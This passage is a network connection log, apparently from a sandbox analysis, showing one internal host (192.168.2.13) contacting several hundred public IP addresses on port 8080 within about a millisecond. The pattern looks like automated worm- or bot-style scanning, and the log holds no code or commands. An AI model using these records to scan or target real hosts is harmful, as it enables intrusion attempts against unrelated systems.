Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	85.70.2.32
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	85.168.68.122
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	31.1.22.70
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	62.253.12.130
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	31.37.63.58
Nov 23, 2023 05:14:47.613452911 CET	54202	8080	192.168.2.13	31.190.233.88
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	85.188.8.69
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	85.18.144.140
Nov 23, 2023 05:14:47.613452911 CET	54202	8080	192.168.2.13	94.89.126.216
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	95.242.152.11
Nov 23, 2023 05:14:47.613452911 CET	54202	8080	192.168.2.13	95.210.195.193
Nov 23, 2023 05:14:47.613451958 CET	54202	8080	192.168.2.13	62.162.196.254
Nov 23, 2023 05:14:47.613452911 CET	54202	8080	192.168.2.13	85.146.196.134
Nov 23, 2023 05:14:47.613476038 CET	54202	8080	192.168.2.13	31.153.114.111
Nov 23, 2023 05:14:47.613501072 CET	54202	8080	192.168.2.13	94.86.121.8
Nov 23, 2023 05:14:47.613501072 CET	54202	8080	192.168.2.13	85.183.37.17
Nov 23, 2023 05:14:47.613502026 CET	54202	8080	192.168.2.13	62.165.113.20
Nov 23, 2023 05:14:47.613502026 CET	54202	8080	192.168.2.13	85.186.78.165
Nov 23, 2023 05:14:47.613501072 CET	54202	8080	192.168.2.13	94.154.214.50
Nov 23, 2023 05:14:47.613502979 CET	54202	8080	192.168.2.13	31.59.179.20
Nov 23, 2023 05:14:47.613506079 CET	54202	8080	192.168.2.13	62.154.69.74
Nov 23, 2023 05:14:47.613502979 CET	54202	8080	192.168.2.13	62.14.54.184
Nov 23, 2023 05:14:47.613502026 CET	54202	8080	192.168.2.13	85.232.197.153
Nov 23, 2023 05:14:47.613506079 CET	54202	8080	192.168.2.13	62.240.28.185
Nov 23, 2023 05:14:47.613506079 CET	54202	8080	192.168.2.13	94.225.244.223
Nov 23, 2023 05:14:47.613506079 CET	54202	8080	192.168.2.13	95.2.57.27
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	62.107.39.72
Nov 23, 2023 05:14:47.613531113 CET	54202	8080	192.168.2.13	62.34.230.177
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	94.240.200.37
Nov 23, 2023 05:14:47.613531113 CET	54202	8080	192.168.2.13	62.22.131.0
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	94.106.176.143
Nov 23, 2023 05:14:47.613531113 CET	54202	8080	192.168.2.13	94.99.127.172
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	95.38.117.157
Nov 23, 2023 05:14:47.613535881 CET	54202	8080	192.168.2.13	95.176.221.68
Nov 23, 2023 05:14:47.613531113 CET	54202	8080	192.168.2.13	31.228.119.159
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	85.58.152.140
Nov 23, 2023 05:14:47.613531113 CET	54202	8080	192.168.2.13	62.25.110.211
Nov 23, 2023 05:14:47.613538027 CET	54202	8080	192.168.2.13	95.165.199.235
Nov 23, 2023 05:14:47.613535881 CET	54202	8080	192.168.2.13	31.170.255.215
Nov 23, 2023 05:14:47.613538027 CET	54202	8080	192.168.2.13	94.50.117.251
Nov 23, 2023 05:14:47.613535881 CET	54202	8080	192.168.2.13	31.14.167.229
Nov 23, 2023 05:14:47.613542080 CET	54202	8080	192.168.2.13	95.33.49.196
Nov 23, 2023 05:14:47.613532066 CET	54202	8080	192.168.2.13	31.230.47.195
Nov 23, 2023 05:14:47.613529921 CET	54202	8080	192.168.2.13	94.5.128.138
Nov 23, 2023 05:14:47.613538980 CET	54202	8080	192.168.2.13	95.120.157.36
Nov 23, 2023 05:14:47.613583088 CET	54202	8080	192.168.2.13	85.83.95.174
Nov 23, 2023 05:14:47.613583088 CET	54202	8080	192.168.2.13	85.84.232.26
Nov 23, 2023 05:14:47.613583088 CET	54202	8080	192.168.2.13	85.133.58.198
Nov 23, 2023 05:14:47.613583088 CET	54202	8080	192.168.2.13	95.190.33.134
Nov 23, 2023 05:14:47.613583088 CET	54202	8080	192.168.2.13	62.233.244.51
Nov 23, 2023 05:14:47.613591909 CET	54202	8080	192.168.2.13	62.77.194.115
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	62.135.22.143
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	31.50.39.216
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	31.74.108.79
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	62.249.234.2
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	62.208.222.152
Nov 23, 2023 05:14:47.613598108 CET	54202	8080	192.168.2.13	94.191.42.14
Nov 23, 2023 05:14:47.613593102 CET	54202	8080	192.168.2.13	31.93.115.39
Nov 23, 2023 05:14:47.613595009 CET	54202	8080	192.168.2.13	85.222.251.146
Nov 23, 2023 05:14:47.613598108 CET	54202	8080	192.168.2.13	85.161.246.159
Nov 23, 2023 05:14:47.613595009 CET	54202	8080	192.168.2.13	62.158.61.29
Nov 23, 2023 05:14:47.613615990 CET	54202	8080	192.168.2.13	94.151.46.3
Nov 23, 2023 05:14:47.613619089 CET	54202	8080	192.168.2.13	31.68.85.25
Nov 23, 2023 05:14:47.613620043 CET	54202	8080	192.168.2.13	94.178.181.67
Nov 23, 2023 05:14:47.613620043 CET	54202	8080	192.168.2.13	31.200.30.104
Nov 23, 2023 05:14:47.613620043 CET	54202	8080	192.168.2.13	94.4.96.113
Nov 23, 2023 05:14:47.613620996 CET	54202	8080	192.168.2.13	85.209.149.101
Nov 23, 2023 05:14:47.613620996 CET	54202	8080	192.168.2.13	31.200.64.59
Nov 23, 2023 05:14:47.613621950 CET	54202	8080	192.168.2.13	94.93.223.230
Nov 23, 2023 05:14:47.613622904 CET	54202	8080	192.168.2.13	94.164.27.69
Nov 23, 2023 05:14:47.613622904 CET	54202	8080	192.168.2.13	94.166.242.75
Nov 23, 2023 05:14:47.613622904 CET	54202	8080	192.168.2.13	94.125.79.229
Nov 23, 2023 05:14:47.613622904 CET	54202	8080	192.168.2.13	94.225.233.157
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	31.196.245.250
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	62.93.68.138
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	85.33.139.55
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	62.18.107.114
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	95.168.215.255
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	85.114.170.168
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	31.71.47.51
Nov 23, 2023 05:14:47.613637924 CET	54202	8080	192.168.2.13	95.143.107.174
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	62.240.43.204
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	94.232.96.129
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	85.143.189.123
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	85.156.199.246
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	31.79.5.56
Nov 23, 2023 05:14:47.613657951 CET	54202	8080	192.168.2.13	31.20.92.60
Nov 23, 2023 05:14:47.613667965 CET	54202	8080	192.168.2.13	95.82.170.15
Nov 23, 2023 05:14:47.613670111 CET	54202	8080	192.168.2.13	62.139.23.240
Nov 23, 2023 05:14:47.613673925 CET	54202	8080	192.168.2.13	31.31.174.13
Nov 23, 2023 05:14:47.613675117 CET	54202	8080	192.168.2.13	85.205.38.180
Nov 23, 2023 05:14:47.613675117 CET	54202	8080	192.168.2.13	95.200.115.161
Nov 23, 2023 05:14:47.613675117 CET	54202	8080	192.168.2.13	31.158.74.210
Nov 23, 2023 05:14:47.613675117 CET	54202	8080	192.168.2.13	62.13.247.129
Nov 23, 2023 05:14:47.613679886 CET	54202	8080	192.168.2.13	94.117.121.32
Nov 23, 2023 05:14:47.613679886 CET	54202	8080	192.168.2.13	85.57.160.216
Nov 23, 2023 05:14:47.613679886 CET	54202	8080	192.168.2.13	85.107.67.134
Nov 23, 2023 05:14:47.613679886 CET	54202	8080	192.168.2.13	94.159.55.188
Nov 23, 2023 05:14:47.613692999 CET	54202	8080	192.168.2.13	94.150.118.233
Nov 23, 2023 05:14:47.613692999 CET	54202	8080	192.168.2.13	85.67.174.26
Nov 23, 2023 05:14:47.613699913 CET	54202	8080	192.168.2.13	62.82.215.194
Nov 23, 2023 05:14:47.613699913 CET	54202	8080	192.168.2.13	94.228.161.236
Nov 23, 2023 05:14:47.613701105 CET	54202	8080	192.168.2.13	85.211.144.238
Nov 23, 2023 05:14:47.613701105 CET	54202	8080	192.168.2.13	85.193.36.93
Nov 23, 2023 05:14:47.613703012 CET	54202	8080	192.168.2.13	85.226.99.71
Nov 23, 2023 05:14:47.613703012 CET	54202	8080	192.168.2.13	31.117.243.156
Nov 23, 2023 05:14:47.613703012 CET	54202	8080	192.168.2.13	85.144.191.179
Nov 23, 2023 05:14:47.613703012 CET	54202	8080	192.168.2.13	94.187.126.148
Nov 23, 2023 05:14:47.613703966 CET	54202	8080	192.168.2.13	85.179.239.238
Nov 23, 2023 05:14:47.613706112 CET	54202	8080	192.168.2.13	94.225.170.42
Nov 23, 2023 05:14:47.613707066 CET	54202	8080	192.168.2.13	95.121.40.110
Nov 23, 2023 05:14:47.613707066 CET	54202	8080	192.168.2.13	62.40.65.39
Nov 23, 2023 05:14:47.613707066 CET	54202	8080	192.168.2.13	85.165.213.139
Nov 23, 2023 05:14:47.613712072 CET	54202	8080	192.168.2.13	85.225.249.96
Nov 23, 2023 05:14:47.613712072 CET	54202	8080	192.168.2.13	95.198.250.167
Nov 23, 2023 05:14:47.613748074 CET	54202	8080	192.168.2.13	62.29.8.56
Nov 23, 2023 05:14:47.613750935 CET	54202	8080	192.168.2.13	94.80.142.219
Nov 23, 2023 05:14:47.613750935 CET	54202	8080	192.168.2.13	95.164.220.187
Nov 23, 2023 05:14:47.613750935 CET	54202	8080	192.168.2.13	31.155.63.54
Nov 23, 2023 05:14:47.613751888 CET	54202	8080	192.168.2.13	85.70.77.230
Nov 23, 2023 05:14:47.613751888 CET	54202	8080	192.168.2.13	31.229.41.180
Nov 23, 2023 05:14:47.613774061 CET	54202	8080	192.168.2.13	85.187.27.73
Nov 23, 2023 05:14:47.613775015 CET	54202	8080	192.168.2.13	62.221.68.97
Nov 23, 2023 05:14:47.613775015 CET	54202	8080	192.168.2.13	94.88.198.79
Nov 23, 2023 05:14:47.613775015 CET	54202	8080	192.168.2.13	85.3.70.5
Nov 23, 2023 05:14:47.613775969 CET	54202	8080	192.168.2.13	85.126.225.161
Nov 23, 2023 05:14:47.613775969 CET	54202	8080	192.168.2.13	62.13.165.18
Nov 23, 2023 05:14:47.613775969 CET	54202	8080	192.168.2.13	31.215.248.208
Nov 23, 2023 05:14:47.613775969 CET	54202	8080	192.168.2.13	85.99.38.157
Nov 23, 2023 05:14:47.613775969 CET	54202	8080	192.168.2.13	31.192.156.155
Nov 23, 2023 05:14:47.613776922 CET	54202	8080	192.168.2.13	62.222.177.239
Nov 23, 2023 05:14:47.613776922 CET	54202	8080	192.168.2.13	95.92.232.118
Nov 23, 2023 05:14:47.613776922 CET	54202	8080	192.168.2.13	95.115.110.135
Nov 23, 2023 05:14:47.613780975 CET	54202	8080	192.168.2.13	85.246.248.53
Nov 23, 2023 05:14:47.613780975 CET	54202	8080	192.168.2.13	31.253.213.48
Nov 23, 2023 05:14:47.613780975 CET	54202	8080	192.168.2.13	95.154.250.170
Nov 23, 2023 05:14:47.613782883 CET	54202	8080	192.168.2.13	95.165.255.23
Nov 23, 2023 05:14:47.613782883 CET	54202	8080	192.168.2.13	62.53.75.6
Nov 23, 2023 05:14:47.613794088 CET	54202	8080	192.168.2.13	95.243.195.7
Nov 23, 2023 05:14:47.613795042 CET	54202	8080	192.168.2.13	62.160.177.251
Nov 23, 2023 05:14:47.613795042 CET	54202	8080	192.168.2.13	95.169.237.5
Nov 23, 2023 05:14:47.613795996 CET	54202	8080	192.168.2.13	95.200.211.196
Nov 23, 2023 05:14:47.613795042 CET	54202	8080	192.168.2.13	85.217.150.48
Nov 23, 2023 05:14:47.613795996 CET	54202	8080	192.168.2.13	31.233.72.18
Nov 23, 2023 05:14:47.613795996 CET	54202	8080	192.168.2.13	95.106.2.43
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	31.86.186.107
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	85.45.70.78
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	95.76.27.190
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	94.125.247.101
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	62.252.63.30
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	85.25.14.146
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	85.207.75.73
Nov 23, 2023 05:14:47.613806963 CET	54202	8080	192.168.2.13	85.131.124.204
Nov 23, 2023 05:14:47.613810062 CET	54202	8080	192.168.2.13	62.180.5.165
Nov 23, 2023 05:14:47.613810062 CET	54202	8080	192.168.2.13	31.54.215.118
Nov 23, 2023 05:14:47.613811970 CET	54202	8080	192.168.2.13	31.22.13.14
Nov 23, 2023 05:14:47.613811970 CET	54202	8080	192.168.2.13	95.151.2.197
Nov 23, 2023 05:14:47.613812923 CET	54202	8080	192.168.2.13	95.254.229.120
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	95.88.170.82
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	95.141.65.205
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	95.133.32.122
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	85.252.13.25
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	95.131.38.153
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	94.59.59.125
Nov 23, 2023 05:14:47.613814116 CET	54202	8080	192.168.2.13	85.109.232.71
Nov 23, 2023 05:14:47.613837957 CET	54202	8080	192.168.2.13	95.189.208.46
Nov 23, 2023 05:14:47.613837957 CET	54202	8080	192.168.2.13	95.7.58.254
Nov 23, 2023 05:14:47.613878012 CET	54202	8080	192.168.2.13	94.125.149.193
Nov 23, 2023 05:14:47.613878012 CET	54202	8080	192.168.2.13	85.2.44.159
Nov 23, 2023 05:14:47.613878012 CET	54202	8080	192.168.2.13	31.184.157.165
Nov 23, 2023 05:14:47.613878965 CET	54202	8080	192.168.2.13	94.42.209.151
Nov 23, 2023 05:14:47.613879919 CET	54202	8080	192.168.2.13	94.90.135.105
Nov 23, 2023 05:14:47.613878965 CET	54202	8080	192.168.2.13	31.185.38.23
Nov 23, 2023 05:14:47.613878965 CET	54202	8080	192.168.2.13	31.66.142.189
Nov 23, 2023 05:14:47.613881111 CET	54202	8080	192.168.2.13	95.102.72.125
Nov 23, 2023 05:14:47.613881111 CET	54202	8080	192.168.2.13	94.23.40.177
Nov 23, 2023 05:14:47.613881111 CET	54202	8080	192.168.2.13	94.105.11.65
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	95.106.249.134
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	31.91.152.177
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	31.170.137.23
Nov 23, 2023 05:14:47.613881111 CET	54202	8080	192.168.2.13	95.224.235.15
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	31.24.254.174
Nov 23, 2023 05:14:47.613881111 CET	54202	8080	192.168.2.13	95.247.91.233
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	62.222.26.205
Nov 23, 2023 05:14:47.613884926 CET	54202	8080	192.168.2.13	62.103.250.249
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	94.69.135.144
Nov 23, 2023 05:14:47.613884926 CET	54202	8080	192.168.2.13	62.125.247.27
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	62.33.235.40
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	95.98.90.57
Nov 23, 2023 05:14:47.613882065 CET	54202	8080	192.168.2.13	31.163.15.69
Nov 23, 2023 05:14:47.613914013 CET	54202	8080	192.168.2.13	85.228.44.98
Nov 23, 2023 05:14:47.613914013 CET	54202	8080	192.168.2.13	62.7.189.188
Nov 23, 2023 05:14:47.613914013 CET	54202	8080	192.168.2.13	85.162.231.122
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	85.72.161.120
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	95.154.175.231
Nov 23, 2023 05:14:47.613918066 CET	54202	8080	192.168.2.13	31.213.163.33
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	31.35.164.249
Nov 23, 2023 05:14:47.613918066 CET	54202	8080	192.168.2.13	62.26.57.183
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	31.105.190.154
Nov 23, 2023 05:14:47.613920927 CET	54202	8080	192.168.2.13	31.110.220.3
Nov 23, 2023 05:14:47.613918066 CET	54202	8080	192.168.2.13	95.166.49.157
Nov 23, 2023 05:14:47.613920927 CET	54202	8080	192.168.2.13	94.240.251.226
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	85.234.42.158
Nov 23, 2023 05:14:47.613920927 CET	54202	8080	192.168.2.13	95.5.168.137
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	85.77.18.58
Nov 23, 2023 05:14:47.613918066 CET	54202	8080	192.168.2.13	85.109.60.168
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	95.55.167.89
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	31.150.3.231
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	62.125.71.217
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	94.102.228.216
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	85.255.131.5
Nov 23, 2023 05:14:47.613917112 CET	54202	8080	192.168.2.13	95.215.61.108
Nov 23, 2023 05:14:47.613929033 CET	54202	8080	192.168.2.13	94.235.13.196
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	95.233.56.177
Nov 23, 2023 05:14:47.613929033 CET	54202	8080	192.168.2.13	85.124.26.165
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	31.40.111.147
Nov 23, 2023 05:14:47.613929033 CET	54202	8080	192.168.2.13	95.64.90.200
Nov 23, 2023 05:14:47.613924980 CET	54202	8080	192.168.2.13	94.130.97.204
Nov 23, 2023 05:14:47.613979101 CET	54202	8080	192.168.2.13	94.76.14.225
Nov 23, 2023 05:14:47.613979101 CET	54202	8080	192.168.2.13	85.245.161.75
Nov 23, 2023 05:14:47.613980055 CET	54202	8080	192.168.2.13	85.167.124.196
Nov 23, 2023 05:14:47.613979101 CET	54202	8080	192.168.2.13	85.118.62.41
Nov 23, 2023 05:14:47.613980055 CET	54202	8080	192.168.2.13	85.27.98.91
Nov 23, 2023 05:14:47.613979101 CET	54202	8080	192.168.2.13	31.207.146.85
Nov 23, 2023 05:14:47.613981009 CET	54202	8080	192.168.2.13	94.72.240.69
Nov 23, 2023 05:14:47.613980055 CET	54202	8080	192.168.2.13	95.226.80.90
Nov 23, 2023 05:14:47.613981962 CET	54202	8080	192.168.2.13	31.64.67.105
Nov 23, 2023 05:14:47.613980055 CET	54202	8080	192.168.2.13	94.145.32.36
Nov 23, 2023 05:14:47.613981009 CET	54202	8080	192.168.2.13	94.24.155.209
Nov 23, 2023 05:14:47.613981962 CET	54202	8080	192.168.2.13	94.187.235.72
Nov 23, 2023 05:14:47.613985062 CET	54202	8080	192.168.2.13	62.181.119.101
Nov 23, 2023 05:14:47.613980055 CET	54202	8080	192.168.2.13	95.170.239.158
Nov 23, 2023 05:14:47.613981962 CET	54202	8080	192.168.2.13	62.208.234.111
Nov 23, 2023 05:14:47.613985062 CET	54202	8080	192.168.2.13	62.70.150.154
Nov 23, 2023 05:14:47.613981962 CET	54202	8080	192.168.2.13	31.127.21.24
Nov 23, 2023 05:14:47.613992929 CET	54202	8080	192.168.2.13	85.156.12.155
Nov 23, 2023 05:14:47.613992929 CET	54202	8080	192.168.2.13	85.221.254.4
Nov 23, 2023 05:14:47.613992929 CET	54202	8080	192.168.2.13	31.107.37.194
Nov 23, 2023 05:14:47.613992929 CET	54202	8080	192.168.2.13	94.193.7.85
Nov 23, 2023 05:14:47.613992929 CET	54202	8080	192.168.2.13	62.187.212.250
Nov 23, 2023 05:14:47.614003897 CET	54202	8080	192.168.2.13	94.120.10.121
Nov 23, 2023 05:14:47.614003897 CET	54202	8080	192.168.2.13	85.211.64.252
Nov 23, 2023 05:14:47.614003897 CET	54202	8080	192.168.2.13	62.132.190.160
Nov 23, 2023 05:14:47.614003897 CET	54202	8080	192.168.2.13	95.202.215.60
Nov 23, 2023 05:14:47.614011049 CET	54202	8080	192.168.2.13	62.224.35.1
Nov 23, 2023 05:14:47.614012003 CET	54202	8080	192.168.2.13	31.134.148.171
Nov 23, 2023 05:14:47.614012003 CET	54202	8080	192.168.2.13	31.151.108.128
Nov 23, 2023 05:14:47.614013910 CET	54202	8080	192.168.2.13	62.5.47.228
Nov 23, 2023 05:14:47.614013910 CET	54202	8080	192.168.2.13	62.155.44.39
Nov 23, 2023 05:14:47.614022017 CET	54202	8080	192.168.2.13	94.247.227.204
Nov 23, 2023 05:14:47.614022017 CET	54202	8080	192.168.2.13	85.70.22.67
Nov 23, 2023 05:14:47.614022017 CET	54202	8080	192.168.2.13	85.65.133.186
Nov 23, 2023 05:14:47.614022017 CET	54202	8080	192.168.2.13	94.40.83.14
Nov 23, 2023 05:14:47.614025116 CET	54202	8080	192.168.2.13	85.102.50.173
Nov 23, 2023 05:14:47.614025116 CET	54202	8080	192.168.2.13	62.7.73.155
Nov 23, 2023 05:14:47.614025116 CET	54202	8080	192.168.2.13	62.46.241.207
Nov 23, 2023 05:14:47.614025116 CET	54202	8080	192.168.2.13	95.133.234.221
Nov 23, 2023 05:14:47.614025116 CET	54202	8080	192.168.2.13	85.121.235.41
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	31.72.133.130
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	94.218.137.177
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	85.44.247.162
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	95.91.148.209
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	62.134.38.227
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	62.253.105.190
Nov 23, 2023 05:14:47.614046097 CET	54202	8080	192.168.2.13	94.241.44.83
Nov 23, 2023 05:14:47.614062071 CET	54202	8080	192.168.2.13	62.176.87.163
Nov 23, 2023 05:14:47.614063978 CET	54202	8080	192.168.2.13	31.2.73.101
Nov 23, 2023 05:14:47.614063978 CET	54202	8080	192.168.2.13	85.139.226.221
Nov 23, 2023 05:14:47.614063978 CET	54202	8080	192.168.2.13	31.124.92.171
Nov 23, 2023 05:14:47.614065886 CET	54202	8080	192.168.2.13	94.57.80.202
Nov 23, 2023 05:14:47.614065886 CET	54202	8080	192.168.2.13	94.62.20.253
Nov 23, 2023 05:14:47.614067078 CET	54202	8080	192.168.2.13	62.103.95.191
Nov 23, 2023 05:14:47.614068031 CET	54202	8080	192.168.2.13	31.54.6.125
Nov 23, 2023 05:14:47.614068031 CET	54202	8080	192.168.2.13	94.122.238.254
Nov 23, 2023 05:14:47.614089966 CET	54202	8080	192.168.2.13	62.171.168.168
Nov 23, 2023 05:14:47.614089966 CET	54202	8080	192.168.2.13	94.197.163.103
Nov 23, 2023 05:14:47.614089966 CET	54202	8080	192.168.2.13	94.2.201.142
Nov 23, 2023 05:14:47.614090919 CET	54202	8080	192.168.2.13	85.121.171.175
Nov 23, 2023 05:14:47.614090919 CET	54202	8080	192.168.2.13	85.54.198.239
Nov 23, 2023 05:14:47.614092112 CET	54202	8080	192.168.2.13	95.69.191.52
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	85.30.194.155
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	95.15.174.213
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	94.242.91.31
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	85.32.245.141
Nov 23, 2023 05:14:47.614095926 CET	54202	8080	192.168.2.13	94.171.252.174
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	85.213.118.228
Nov 23, 2023 05:14:47.614095926 CET	54202	8080	192.168.2.13	31.92.150.233
Nov 23, 2023 05:14:47.614094019 CET	54202	8080	192.168.2.13	94.100.2.67
Nov 23, 2023 05:14:47.614095926 CET	54202	8080	192.168.2.13	31.100.180.81
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	31.37.169.228
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	31.14.137.198
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	31.164.101.202
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	95.58.187.57
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	31.192.235.199
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	31.61.223.105
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	85.229.200.230
Nov 23, 2023 05:14:47.614157915 CET	54202	8080	192.168.2.13	95.45.139.217
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	85.181.254.55
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	94.35.80.226
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	62.147.24.59
Nov 23, 2023 05:14:47.614157915 CET	54202	8080	192.168.2.13	62.56.173.89
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	62.86.38.185
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	62.146.163.42
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	94.168.83.204
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	62.105.12.65
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	95.115.114.234
Nov 23, 2023 05:14:47.614152908 CET	54202	8080	192.168.2.13	94.189.199.66
Nov 23, 2023 05:14:47.614156008 CET	54202	8080	192.168.2.13	95.10.14.154
Nov 23, 2023 05:14:47.614181995 CET	54202	8080	192.168.2.13	31.106.197.101
Nov 23, 2023 05:14:47.614182949 CET	54202	8080	192.168.2.13	95.63.53.189
Nov 23, 2023 05:14:47.614182949 CET	54202	8080	192.168.2.13	31.51.71.124
Nov 23, 2023 05:14:47.614183903 CET	54202	8080	192.168.2.13	95.75.114.41
Nov 23, 2023 05:14:47.614187002 CET	54202	8080	192.168.2.13	31.50.116.60
Nov 23, 2023 05:14:47.614187002 CET	54202	8080	192.168.2.13	62.66.111.12
Nov 23, 2023 05:14:47.614191055 CET	54202	8080	192.168.2.13	95.174.135.189
Nov 23, 2023 05:14:47.614191055 CET	54202	8080	192.168.2.13	85.46.234.240
Nov 23, 2023 05:14:47.614191055 CET	54202	8080	192.168.2.13	94.184.5.162
Nov 23, 2023 05:14:47.614192009 CET	54202	8080	192.168.2.13	85.90.247.20
Nov 23, 2023 05:14:47.614192009 CET	54202	8080	192.168.2.13	95.141.185.163
Nov 23, 2023 05:14:47.614192009 CET	54202	8080	192.168.2.13	31.191.252.236
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	95.89.212.29
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	31.82.125.33
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	31.116.173.126
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	95.228.133.151
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	85.57.118.16
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	95.99.163.26
Nov 23, 2023 05:14:47.614207029 CET	54202	8080	192.168.2.13	94.232.88.203
Nov 23, 2023 05:14:47.614227057 CET	54202	8080	192.168.2.13	31.181.210.236
Nov 23, 2023 05:14:47.614227057 CET	54202	8080	192.168.2.13	85.80.38.129
Nov 23, 2023 05:14:47.614227057 CET	54202	8080	192.168.2.13	85.16.239.165
Nov 23, 2023 05:14:47.614227057 CET	54202	8080	192.168.2.13	31.243.179.3
Nov 23, 2023 05:14:47.614227057 CET	54202	8080	192.168.2.13	95.254.199.103
Nov 23, 2023 05:14:47.614243031 CET	54202	8080	192.168.2.13	94.151.247.29
